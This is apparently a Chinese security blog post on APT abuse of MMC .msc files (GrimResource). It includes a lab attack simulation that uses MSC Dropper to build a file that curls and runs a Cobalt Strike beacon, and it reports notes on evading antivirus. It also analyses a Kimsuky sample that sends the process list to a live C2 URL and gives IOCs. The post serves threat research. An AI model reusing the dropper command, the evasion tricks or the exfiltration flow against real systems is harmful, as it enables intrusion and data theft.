概论
在目前全球关于APT攻击事件已经不在于少数,高级持续威胁(APT)已成为全球威胁实验室关注的焦点。APT组织以其高度隐蔽性和持续性攻击策略,对全球多个行业构成了严重威胁。近期,研究显示APT组织开始利用Microsoft Management Console(MMC)中的MSC文件作为初始访问和逃避检测的手段。本文旨在深入分析APT如何利用MSC文件进行攻击,并探讨其逃避检测的方法。
一、MSC文件-论点
1.MSC文件的利用机制
MSC文件,作为Windows系统中用于存储管理设置的文件,其本身具有执行脚本和命令的能力。APT组织通过精心构造的MSC文件,可以在用户不知情的情况下执行恶意代码。例如,攻击者可能在MSC文件中嵌入PowerShell脚本包括exe等恶意文件类型,当用户打开该文件时,即被激活后可能会通过C2地址释放文件文档,MSC文件内容代码也可能会有建立某些权限维持的恶意脚本,从而实现对系统的完全控制。
2.初始访问的实现
APT组织通常通过社会工程学手段诱导目标用户打开恶意MSC文件。这些文件可能伪装成系统更新或重要通知,通过电子邮件或即时消息传播。一旦用户执行了这些文件,攻击者便获得了对目标系统的初始访问权限。
3.逃避检测的技术
为了逃避安全检测,APT组织采用了多种技术。首先,他们利用加密和混淆技术隐藏恶意代码(宏样本)来规避 ActiveX,使得传统的防病毒软件难以识别。其次,通过定时任务或系统服务的方式,将恶意活动伪装成正常的系统行为。此外,APT还可能利用零日漏洞,进一步提高逃避检测的成功率。
二、Microsoft Management Console (MMC) 接触
Microsoft Management Console (MMC) 是 Microsoft Windows 操作系统的一个组件,它提供了一个界面,允许系统管理员和高级用户配置和监控系统。MMC 最初于 1998 年随 Windows NT 4.0 的 Option Pack 发布,后来与 Windows 2000 及其后续版本捆绑在一起。
MMC 的主要功能是通过称为“管理单元”的组件对象模型 (COM) 组件来托管系统管理工具。这些管理单元提供了对各种系统功能的访问,例如设备管理器、磁盘管理、事件查看器和本地用户和组。此外,MMC 还允许创建自定义工具,这些工具可以用于管理特定的系统任务。
有关MMC漏洞
在2019年6月11日CPR发布了一篇文章是关于:WebView导致XSS和XML解析错误而导致的XXE漏洞文章 【MICROSOFT 管理控制台 (MMC) 漏洞】洞主要集中在以下几个方面:
跨站脚本 (XSS) 漏洞:攻击者可以通过构造的 .msc 文件,在 MMC 中执行恶意 JavaScript 代码。场景利用:攻击者可以利用 MMC 中的 WebView 组件,将包含 XSS 攻击代码的网页链接嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。
XML 外部实体 (XXE) 漏洞:攻击者可以利用 MMC 中的 XML 解析器漏洞,通过包含 XXE 攻击代码的 XML 文件,访问受害者系统上的敏感信息。场景利用:攻击者可以构造一个包含 XXE 攻击代码的 XML 文件,并将其导入到 MMC 的事件查看器中,从而读取受害者系统上的文件内容,甚至执行远程代码。
ActiveX 控件漏洞:攻击者可以利用 MMC 中的 ActiveX 控件漏洞,将恶意代码注入到受害者的系统中。场景利用:攻击者可以将包含恶意代码的 ActiveX 控件嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。
三、攻击模拟
目前这种技术叫 GrimResource,而且相关的恶意文件还是0检出,根据当前的手段来实现一个攻击模拟!三天前有关生成负载已公开,MSC Dropper Tools,MSC Dropper 是一个 Python 脚本,旨在自动创建带有可自定义有效负载的 MSC(Microsoft 管理控制台)文件,以实现任意执行。
MSC文件配合Cobalt strike
生成payload之后需要起一个服务和MSC Dropper 脚本配置进行生成一个带有马的msc文件!
┌──(kali㉿kali)-[~/Desktop/MSC_Dropper-main]
└─$ python3 msc_dropper.py template1.msc out.msc "cmd /c curl -O http://192.168.207.133:8000/beacon.exe && beacon.exe"
Successfully replaced placeholder in template1.msc and saved to out.msc.
运行后原本template1.msc 中的占位符会保存到 out.msc中,整个过程MSC文件成功落地!运行有效性!
通过上面整个有效性的过程验证完毕后,我使用wireshark捕获了大概的一个流程!,在我运行后使用了请求法向我挂载CS马的地址发送一个请求,随后弹出一个命令窗口,CS随之上线。(这个验证时出现一些小问题,如果运行了MSC文件命令窗口有闪退情况CS可能不会上线,这个暂时不知道是什么原因)
而且可以通过加载其它恶意脚本或者读取文件方式进行利用!我们可以看章节二的文件内容。
这里还有一个技巧,我使用MMS管理器直接打开,EXE会直接落地........!
自执行EXE
四、MSC文件本体内容(免杀)
生成的out.msc本体是借助py脚本中的template1.msc内容
res://apds.dll/redirect.html?target=
部分指定了要加载的资源。javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)
部分包含了恶意 JavaScript 代码,它使用 eval() 函数执行来自external.Document.ScopeNamespace.GetRoot().Name
的代码。获取 MMC.exe 上下文中的
external.Document.ScopeNamespace.GetRoot().Name
属性的值,并执行该属性中包含的代码。 攻击者可以通过这种方式,在 MMC.exe 中执行任意代码,从而实现窃取信息、执行恶意代码等目的。
template1.msc载体加载部分通过py脚本将恶意文件托管地址进行载入
通过py脚本载入的恶意exe地址
xsl.loadXML(...)
使用loadXML()
方法加载一个包含恶意 VBScript 代码的 XSL 样式表。XML.transformNode(xsl)
使用transformNode()
方法将 XML 文档根据 XSL 样式表进行转换。XSL 样式表中的恶意 VBScript 代码被嵌入到转换后的 XML 文档中,并会被 MMC 执行。
创建一个
WScript.Shell
对象,用于执行系统命令。使用
curl
命令从 192.168.207.133:8000 下载名为beacon.exe
的文件。执行下载的
beacon.exe
文件。
混淆手法代码中使用了大量空格和换行符,尤其是 // Console Root 注释后面的代码段。
1.virustotal本体检测
b98286e81add97cfd59d6dcfc47a9dd1184475ab44301e95c1404a722565f456
2.火绒本体检测
这个类似于本体加载EXE的模式流程!通常有些可能会检测本体、代码特征、通信地址等,也可能会报红!
因为我是直接在Cobalt strike生成的exe,直接点击运行out.msc文件释放exe,会杀掉我的exe,在本体安然无恙的情况下,可以起到很好的一个伪装,不一定就是要使用这种方式!
3.天擎本体检测
五、APT样本内容分析
目前有一个样本是没有公开的,这里暂时先不放出来,这里拿2010年APT样本来分析。2010年Kimsuky 组织使用该手段针对韩国和日本进行攻击,该组织伪装朝鲜人权公职人员,通过社交软件寻找目标,通过伪装特定重要文件来发送恶意的文件地址,2010年的样本几乎被各各实验室人员标记为风险文件。
不同的是MSC文件是可以通过修改XML内的文件来修改文件图标
这个APT样本是读取信息然后像C2地址回传读取的信息,
打开 Google 文档:
start explorer "https://docs.google.com/document/d/..."
命令使用explorer
打开一个 Google 文档链接。
执行系统命令:
tasklist.exe > c:\users\public\temp
命令将系统进程列表输出到c:\users\public\temp
文件中。
检查 curl.exe 的存在:
使用 VBScript 代码检查
c:\windows\system32\curl.exe
和c:\Windows\sysnative\curl.exe
文件是否存在。如果存在,则在结果中添加 "curl1 ok" 或 "curl2 ok"。
读取 temp 文件的内容:
使用 VBScript 代码读取
c:\users\public\temp
文件的内容,并将内容转换为小写字母。将读取的内容添加到结果中。
使用 curl 发送 POST 请求:
使用 VBScript 代码创建一个
msxml2.xmlhttp
对象,并使用它向两个 URL 发送 POST 请求:http://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php
https://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php
POST 请求的数据包含了前面收集到的结果信息。
保存 VBScript 代码:
将收集到的结果信息保存到
c:\users\public\res
文件中。将
c:\users\public\res
文件重命名为c:\users\public\res.vbs
。使用
wscript /b c:\users\public\res.vbs
命令在后台执行res.vbs
文件。
恶意行为分析:
收集系统信息:该任务收集了系统进程列表,并检查了
curl.exe
的存在情况,这可能用于了解目标系统的配置和漏洞。发送数据:该任务向
brandwizer.co.in
的特定路径发送了收集到的系统信息,这可能用于窃取系统信息或进行其他恶意操作。执行 VBScript 代码:该任务使用 VBScript 代码,并执行了
res.vbs
文件,这可能包含其他恶意代码,例如下载恶意软件、窃取数据等。
其它方面与演示的没有什么不同,只是攻击方式载体不一样。
六、结束语
本文分析了一段 MMC 控制台配置文件的代码,揭示了其包含的潜在恶意行为,包括信息收集、发送数据和执行未知代码等。通过对代码的逐行分析,我们了解到恶意软件开发者可能会利用 MMC 文件作为载体来传播恶意软件或窃取敏感信息。
MMC 文件的结构和功能看似简单,但其背后的复杂性和潜在风险不容忽视,对于安全检出问题安全厂商也带来挑战。
七、IOCS
MD5
e86a24d9f3a42bbb8edc0ca1f8b3715c
SHA1
607e42fe2cb9f4be309b5b53cdef2693a704f37f
SHA256
433655572c0f319e576a451d069a29966f9d6b409207a649f286ab34d1c8cfeb